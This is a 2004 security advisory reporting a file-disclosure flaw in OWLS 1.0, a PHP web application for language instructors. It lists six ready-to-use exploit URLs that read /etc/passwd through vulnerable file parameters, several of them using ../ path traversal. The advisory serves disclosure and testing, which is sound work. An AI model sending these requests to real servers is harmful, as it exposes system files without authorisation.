[UNIX] OWLS Remote Arbitrary Files Disclosure

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Date: 18 Feb 2004 16:28:25 +0200

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  OWLS Remote Arbitrary Files Disclosure
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SUMMARY

" <http://www.foolsworkshop.com/owls/> OWLS is a web-based environment for
instructors of language to easily create exercises, readings, glossaries,
and present media for their students. Once installed on a web server that
supports PHP, instructors can create materials or upload media for
presentation to their students through a simple form based interface". A
vulnerability in the product allows remote attackers to disclosure files
that would be otherwise inaccessible.

DETAILS

Vulnerable Systems:
 * OWLS version 1.0

There is a vulnerability in the current version of OWLS that allows an
attacker to retrieve arbitrary files from the web server with its
privileges.

Exploit:
Any of the following URLs can be used to test your system for the
mentioned vulnerability:
http://address/owls/glossaries/index.php?file=/etc/passwd
http://address/owls/multiplechoice/index.php?file=../../../../../../../../../../../../../../../etc/passwd&view=print
http://address/owls/readings/index.php?filename=/etc/passwd
http://address/owls/multiplechoice/resultsignore.php?filename=/etc/passwd
http://address/owls/workshop/glossary.php?editfile=../../../../../../../../../../../../../../../etc/passwd
http://address/owls/workshop/newmultiplechoice.php?edit=1&editfile=../../../../../../../../../../../../../../../etc/passwd

ADDITIONAL INFORMATION

The information has been provided by <mailto:g00db0y@zone-h.org> G00db0y
from Zone-h Security Labs.

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